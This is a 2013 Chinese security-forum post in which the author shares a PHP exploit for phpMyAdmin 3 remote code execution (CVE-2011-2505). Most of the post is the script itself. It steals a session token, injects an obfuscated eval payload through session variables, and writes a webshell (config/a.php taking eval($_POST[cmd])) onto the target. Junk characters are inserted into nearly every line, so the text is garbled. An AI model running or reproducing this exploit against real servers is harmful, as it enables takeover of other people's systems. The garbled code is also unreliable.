找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2098|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。+ q  g: s! H- r0 H6 y: O  q
- q6 r! P! W* D; n; c2 m
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。) f! {& i4 L" Y4 x- \
$ K% x6 {$ u# p: x" \% F0 Y+ `- ^. F
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
4 k+ m6 ]/ b+ H9 t" Y- ~一是session.auto_start = 1;! q" \& u7 ^7 O* N
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
; b8 K8 n& e+ o* E当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。% v/ R/ a$ X' t2 Q

+ D9 p3 R' ?  _: J2 b在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
9 x" ?. X7 t  b! ?8 n
" B4 @  w/ J  A) ~/ c- N) u于是写了这个php版本的exp,代码如下:9 }/ S* Q# P; g) \6 s
- c- F  @3 N  O/ ?8 w% X
#!/usr/bin/php3 p- y  I3 X) K" w# \: v
<?php
1 K% X1 h- v- Xprint_r('
; }( r+ K  r) ~5 A, N+---------------------------------------------------------------------------+
- h  \. o) P* L6 Rpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" b* r! y; E3 Z4 @7 q
by oldjun(www.oldjun.com)7 O7 ]; D: z- X  G9 f% s$ e
welcome to www.t00ls.net7 J' y' j; M& E8 m8 f
mail: oldjun@gmail.com2 _( `( ^9 C5 i& g/ {; [6 s$ r; i
Assigned CVE id: CVE-2011-25050 o( C' o& x5 u6 C2 x8 S! g
+---------------------------------------------------------------------------+! i6 w; M* y! j% a. ]
');2 J" x$ z, V8 B

  m) z$ _* X! t9 r* [- U/**
  ^, N& I9 z; R6 X: f+ T * working when the directory:"config" exists and is writeable.; z# t" D( G! J! ^+ v6 V. b7 F
**/" F: z, Z7 q/ e" ?8 v2 |
! L* l0 L; ]2 x3 k8 C
if ($argc < 3) {
8 b  R$ y6 S4 D6 K    print_r('1 Q/ _8 R8 x: I) A
+---------------------------------------------------------------------------+! m2 N, f! M8 h
Usage: php '.$argv[0].' host path
+ B. S+ S; i' t$ Mhost:      target server (ip/hostname)1 e. i& y3 I7 J* E
path:      path to pma3
; Q6 Q- N+ b0 Z! hExample:
3 n1 |3 d3 x1 X" g# ?# Dphp '.$argv[0].' localhost /pma/  {+ a/ w9 }( X* D" I# C
+---------------------------------------------------------------------------+
( R  u* n4 H7 X9 H');) K! M& y" a& D
    exit;
; g6 o( s: J* O* I5 I}# h0 M5 M( p# E( l. l

- K3 ]: Q. O- F8 `( A$host = $argv[1];
9 e# |, \* P) G; @9 [) b$path = $argv[2];, q8 l+ @% K0 n: ?* g* `* C- d  J

( d+ i( `! G/ W7 r) m/**- Q1 d9 ~' ^7 `% `  I
* Try to determine if the directory:"config" exists% R9 N) y- q2 p4 L* j; s
**/1 c. |' ?8 M. @$ Q  Y
echo "[+] Try to determine if the directory:config exists....\n";1 a3 T' b! i6 y8 t
$returnstr=php_request('config/');
2 o( E3 V6 ]) U- J6 F6 p* W9 m; x6 fif(strpos($returnstr,'404')){! _: R& W( r; m4 f' R; K3 d- `
    exit("[-] Exploit Failed! The directory:config do not exists!\n");- j: m" }, L1 Q2 g. m) v
}2 q+ Q0 P" X# m0 ^% ]4 D
: j' F, T9 h+ @* V! B( y
/**
! H9 ]) }* [- D( N+ j( R+ U * Try to get token and sessionid
+ ^6 |0 B& h. A) A0 o1 l: Y**/) P7 W* q' n  }$ C
echo "[+] Try to get token and sessionid....\n";4 M1 s" ]8 O, ^0 N8 d( ]
$result=php_request('index.php');
0 F% K! ~9 A. y  W; `: J4 Z5 q' Epreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);/ m, P1 G+ @0 w) p
$token=$resp[3];: Z( ?8 U+ T8 q9 ?# q
$sessionid=$resp[1];
. z2 a/ h8 e- Y( d* p2 @if($token && $sessionid){: {6 y# E8 y5 }! Y
    echo "[+] tokentoken\n";
' R6 v$ X9 C, D" C6 i" y    echo "[+] Session IDsessionid\n";% m4 m! A+ S7 d
}else{
3 Z0 Q7 `' Q5 ^    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
5 l) B; c) O/ [+ L$ E}
# z- V1 A  I4 S/ _$ @
% o6 B" v- I( l  |- ~  W/**
& r" E; L  q9 I' N3 r( C- y$ M * Try to insert shell into session
2 [- \& Y4 [+ \8 @& T9 g. h**/8 r: V8 y) w* k0 P7 r) u
echo "[+] Try to insert shell into session....\n";0 k( ^! d* {. v! c) W
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.0 @" c- F% Q% n2 O
6 s1 ?' G+ B  |) D6 e' S0 N
/**
* j  B0 K# K+ y6 d5 R) i! f * Try to create webshell) q, X2 S" Q. h/ P* U& t; e, @
**/* W* H4 K) o0 H" l
echo "[+] Try to create webshell....\n";1 C+ c& y$ R& ]0 e( N, j7 T3 i
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);* {' q5 L! G( E) w: x8 S1 A
/**
6 Y0 X5 e2 D2 o * Try to check if the webshell was created successfully
4 p' C5 ^3 t( M. Q! \**/! W) J& a7 t% n: V
echo "[+] Try to check if the webshell was created successfully....\n";
6 b, w/ y" ?& e, k: Z; c- F  c$content=php_request('config/config.inc.php');, X! q5 s2 }; S/ A* H/ _
if(strpos($content,'t00ls')){
' W2 L; k0 K' ]9 S9 \: E: P$ N    echo "[+] Congratulations! Expoilt successfully....\n";1 f! a0 O  |+ N  z" [
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";$ J, `6 Z2 C( z5 C  o
}else{
& j1 U5 L3 y1 D2 R9 S    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
; Z$ z9 L1 ?! r6 }% r: V}
* l8 }. x/ J- R0 N8 U% E  N# ~
  @9 S; z" f( _) c; f# Ufunction php_request($url,$data='',$cookie=''){# F3 U' h& [! X- {! A0 _  H  V
    global  $host, $path;4 i& \; ]4 z& D  u- |
   
8 y' O. P, [: M! C    $method=$data?'POST':'GET';+ Q/ {! k+ g0 B" w; `
   
* `: ]( u7 D! |" K7 d    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
% J, ~8 ]" S8 I1 m    $packet .= "Accept: */*\r\n";
5 G- M. ~' w- W2 l% F. D0 B4 L    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
' R" G. C" o% @    $packet .= "Host: $host\r\n";0 M( @( o2 h4 v' v
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
) j) H' Q  q. G+ B" d    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";) I/ s) O: b. i. U7 {; {
    $packet .= $cookie?"Cookie: $cookie\r\n":"";: ^& Z6 j. y3 y7 D' G
    $packet .= "Connection: Close\r\n\r\n";
/ h& m6 l8 i" N4 Y* ~% p2 Q    $packet .= $data?$data:"";
( J6 K4 _! [7 w+ E: X1 P$ N7 \: e8 Y
    $fp = fsockopen(gethostbyname($host), 80);5 u; r$ f* N+ i8 |
    if (!$fp) {8 N% R& @1 x3 e4 x' A# M
    echo 'No response from '.$host; die;" p" G7 I3 @* a/ \
    }2 [- h6 N( W% `. z. P. Y
    fputs($fp, $packet);
. k* H& p8 W2 j/ p/ b$ m8 l
+ J9 i# A* K) C1 r% K    $resp = '';+ j! K4 v5 T$ T
( E# Y) K, L( S. O
    while ($fp && !feof($fp))7 ]8 U- ], K! E: r2 l! A
        $resp .= fread($fp, 1024);
5 @1 k) L3 V; N8 A. V9 f! g$ a
) Z3 W1 H9 b' {2 Z1 R/ h    return $resp;
. X, l3 C. E; A- F3 A, o}
) G% g# P' [& P9 j    7 l) s7 B" I- M3 T9 l
?> ( q1 _; R* [! g  g3 b* j& D
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表